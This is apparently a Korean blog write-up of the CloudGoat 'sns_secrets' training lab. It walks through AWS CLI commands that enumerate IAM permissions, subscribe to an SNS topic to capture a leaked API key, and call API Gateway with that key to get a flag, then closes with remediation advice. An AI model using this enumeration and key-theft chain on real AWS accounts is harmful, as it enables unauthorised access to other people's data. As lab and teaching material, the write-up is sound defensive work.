chon

[ CloudGoat | Easy ] sns_secrets 시나리오 실습 본문

AWS/CloudGoat

[ CloudGoat | Easy ] sns_secrets 시나리오 실습

chon29 2026. 3. 9. 12:32

Github 링크

 

cloudgoat/cloudgoat/scenarios/aws/sns_secrets at master · RhinoSecurityLabs/cloudgoat

CloudGoat is Rhino Security Labs' "Vulnerable by Design" AWS deployment tool - RhinoSecurityLabs/cloudgoat

github.com


README

시나리오 개요

 

Exploitation Route

  • Enumerate the user's policy: 제공된 자격 증명으로 IAM 권한을 확인하고 SNS(Simple Notification Service) 토픽을 나열하고 구독할 수 있는 권한이 있는지 체크한다.
  • Enumerate SNS Topics: 어떤 SNS 주제(Topic)들이 생성되어 있는지 목록을 조회한다.
  • Subscribe to the SNS Topic: 정보를 훔쳐보기 위해 "sns__enum"과 "sns__subscribe"를 사용하여 토픽을 구독하여 메시지를 받을 준비를 한다. (실습에서는 주로 이메일이나 HTTP 엔드포인트를 활용) 
  • Retrieve the API Key from the SNS Topic: SNS 토픽에서 디버그 메시지로 API 키가 포함된 이메일을 받는다. 디버그 메시지를 모니터링하여 API Key를 탈취한다.
  • Identify the API Gateway URL: AWS CLI로 API Gateway를 조회하여  API 게이트웨이의 경로, 메서드, 단계 및 리소스를 알아낸다.
  • Trigger the API Gateway with the API Key: 탈취한 API Key를 헤더에 넣고 curl로 API를 호출해 플래그를 얻는다.


유출된 API Key를 찾아 API Gateway를 호출하고 최종 플래그(Flag)를 획득
하는 것이 이 시나리오의 목표!


[ 환경 구축 ]

시나리오 생성

먼저 터미널에서 아래 명령어를 입력하여 실습 환경을 구축한다.

cloudgoat create sns_secrets

 

시나리오 리소스

  • 1 EC2 instance
  • 1 SNS topic
  • 1 API Gateway REST API
  • 1 IAM role
  • 1 IAM user

 

AWS CLI 프로필 설정 (자격 증명 등록)

시나리오에서 발급받은 access_key_id secret_access_key를 사용하여 내 로컬 환경에 사용자의 프로필을 등록하고 정상적으로 접속되는지 확인한다.

# 프로필 등록
aws configure --profile [프로필_이름]

시나리오에서 생성된 사용자의 프로필을 등록한다. 

 

현재 사용자 정보 확인

# 현재 신분 확인
aws sts get-caller-identity --profile [프로필_이름]

프로필 등록 후, 각 계정으로 정상 접속되는지 UserId와 Arn을 확인한다.


[ IAM 권한 분석 ]

사용자에게 연결된 정책 확인

# 연결된 관리형 정책 확인
aws iam list-attached-user-policies --user-name [사용자_이름] --profile [프로필_이름]

# 인라인 정책 확인
aws iam list-user-policies --user-name [사용자_이름] --profile [프로필_이름]

관리형 정책 : AWS에서 기본으로 제공하거나 미리 만들어진 정책이 유저에게 붙어 있는지 확인하는 명령

인라인 정책 : 유저에게 직접 정의된 전용 권한이 있는지 확인하는 명령

 

"PolicyNames": [
        "cg-sns-user-policy-cgidul5ww5b297"
    ]

CloudGoat 시나리오에서는 주로 인라인 정책(Inline Policy)에 핵심 권한을 숨겨두는 경우가 많으므로 반드시 확인해야 한다.

 

인라인 정책 상세 확인 (cg-sns-user-policy-cgidul5ww5b297)

인라인 정책 이름이 확인되었다면, 실제 어떤 권한(JSON)이 들어있는지 확인해야 한다. 

# 인라인 정책 상세 내용 확인
aws iam get-user-policy --user-name [사용자_이름] --policy-name [정책_이름] --profile [프로필_이름]

 

정책 분석

  • sns:ListTopics: 현재 AWS 계정에 어떤 SNS 주제가 있는지 목록을 조회하여 공격 대상을 선정할 수 있다. (정찰 단계)
  • sns:Subscribe: 특정 토픽에 나를 등록하여 내부 메시지를 도청할 수 있는 권한이다.
  • sns:Receive: 메시지를 수신할 수 있는 권한
  • apigateway:GET: API Gateway의 구조와 엔드포인트를 정찰하여 최종 데이터 유출 경로를 파악할 수 있다. (아래쪽에 특정 리소스에 대한 Deny 설정이 있으니 주의)

[ SNS 토픽 탈취 및 구독 ]

SNS 토픽 목록 확인

# SNS 토픽 목록 조회
aws sns list-topics --profile [프로필_이름]

정책에서 권한이 있음을 확인했으니, 이제 실제로 어떤 토픽이 있는지 살펴봐야 한다.

TopicArn이 포함된 결과를 확인할 수 있다. 이 Arn을 이용하여 토픽을 구독한다.

 

SNS 토픽 구독

aws sns subscribe --topic-arn [TopicArn] --protocol email --notification-endpoint [구독할_이메일_주소] \
    --profile [프로필_이름] --region us-east-1

실행 결과로 "SubscriptionArn": "pending confirmation" 이 나오면 성공이다. 자신이 구독한 메일함에 접속해서 Confirm Subscription 버튼을 누르면 된다.

 

발견한 토픽에 자신을 구독자로 등록하면 해당 토픽으로 전송되는 모든 비밀 메시지를 복사본으로 받게 된다.

메일 본문을 열어보면 디버그 형태의 텍스트가 들어있다. API GATEWAY KEY를 호출하여 플래그를 얻으면 된다.

API Key를 얻었으니, 이제 열어야 할 문인 Gateway를 찾을 차례이다.


[ API Gateway 침투 및 데이터 탈취 ]

API Gateway 정찰

탈취한 키를 꽂을 대상을 찾는 단계이다. 

# API Gateway 목록 조회 (ID 확인)
aws apigateway get-rest-apis --profile [프로필_이름]

현재 계정에 생성된 API 목록을 조회해 봤다. 여기서 출력되는 id값을 메모해 둔다.

 

API 상세 경로 파악

ID를 찾았다면, 그 API 안에 어떤 Path가 있는지 알아야 한다.

# 특정 API의 리소스 경로 조회 (Path 확인)
aws apigateway get-resources --rest-api-id [API_ID] --profile [프로필_이름]

 "path": "/user-data"를 찾아내는 과정이다.

 

API 엔드포인트 구성 및 호출

curl -H "x-api-key: [API_KEY]" https://[API_ID].execute-api.us-east-1.amazonaws.com/[Stage]/[Path]

 

stage 이름이 prod라 생각하고 명령어를 입력하면 {"message":"Forbidden"} 이 뜬다.

 

- trouble shooting

API 호출 시 API Key가 정확함에도 Forbidden 에러가 발생했다면, 이는 API Gateway의 스테이지 구조 때문일 확률이 높다. stage명을 prod라 임의로 입력했기 때문에 스테이지 이름을 확인해야 한다.

 

스테이지(Stage) 이름 확인

prod가 아니라 고유한 ID가 붙은 스테이지명을 찾는 과정이다.

# 스테이지 목록 조회
aws apigateway get-stages --rest-api-id [확인된_API_ID] --profile [프로필_이름]

prod의 실제 이름을 확인했다면 API를 다시 호출한다. 

 

확인한 ID Path, 그리고 탈취한 API Key를 조합한 최종 curl 명령어를 입력하면 시나리오 실습을 성공한 것이다. 

 

 

API Gateway의 HTTP API에 대한 스테이지 - Amazon API Gateway

API Gateway의 HTTP API에 대한 스테이지 API 스테이지는 API의 수명 주기 상태에 대한 논리적 참조(예: dev, prod, beta, v2)입니다. API 스테이지는 API ID 및 스테이지 이름으로 식별되며, API를 호출하는 데 사

docs.aws.amazon.com

 

[ 실습 종료 및 리소스 삭제 ]

생성한 리소스들을 지우지 않으면 비용이 발생하므로 실습이 끝난 후 리소스를 지우면 된다.

cloudgoat destroy sns_secrets

취약점 분석

이번 시나리오에서 발생한 보안 사고의 핵심 원인은 민감 정보의 평문 노출과도한 권한 부여의 결합이다.

  • 민감 정보 노출 (Information Exposure): 시스템 디버깅을 위해 SNS 메시지에 API Key를 포함하여 전송했습니다. 이는 공격자가 메시지를 가로챌 경우 시스템 전체 권한을 넘겨주는 결과를 초래한다.
  • SNS 구독 권한 오남용: 권한이 낮은 사용자 계정에 sns:Subscribesns:ListTopics 권한이 부여되어 있어, 외부인이 내부 알림 채널에 손쉽게 접근(도청)할 수 있었다.
  • API Gateway 인증 미흡: API Key가 유출되자마자 즉시 데이터가 노출되었습니다. API Key는 물리적 보안보다는 단순 식별용에 가깝기 때문에, 이것만으로 중요한 데이터를 보호하기에는 부족하다.

 

단계별 대응 방안

① IAM 권한 최소화 (Least Privilege)

  • 조치: 사용자에게 꼭 필요한 권한만 부여
  • 방법: 일반 사용자에게 sns:Subscribe나 iam:List* 같은 광범위한 조회/구독 권한을 제거하고, 필요시 특정 리소스(ARN)에 대해서만 권한을 제한한다.

② 민감 정보 암호화 및 관리

  • 조치: API Key, DB 비밀번호 등을 코드나 메시지에 평문으로 노출하지 않는다.
  • 방법: AWS Secrets ManagerParameter Store를 사용하여 정보를 암호화하고, 필요할 때만 API를 통해 호출하여 사용하도록 로직을 변경한다.

③ API Gateway 보안 강화

  • 조치: API Key 외에 추가적인 인증 계층을 도입
  • 방법:
    • IAM 인증 사용: AWS 서명을 통해서만 호출 가능하도록 설정
    • Lambda Authorizer: 사용자 정의 로직을 통해 토큰 기반 인증 수행
    • WAF(Web Application Firewall) 도입: 특정 IP에서만 접근 가능하도록 화이트리스트 운영

④ 모니터링 및 로깅

  • 조치: 이상 징후를 즉시 감지
  • 방법: Amazon GuardDuty를 활성화하여 비정상적인 SNS 구독이나 API 호출 패턴을 탐지하고, CloudWatch Alarms를 통해 관리자에게 즉시 알림을 보낸다.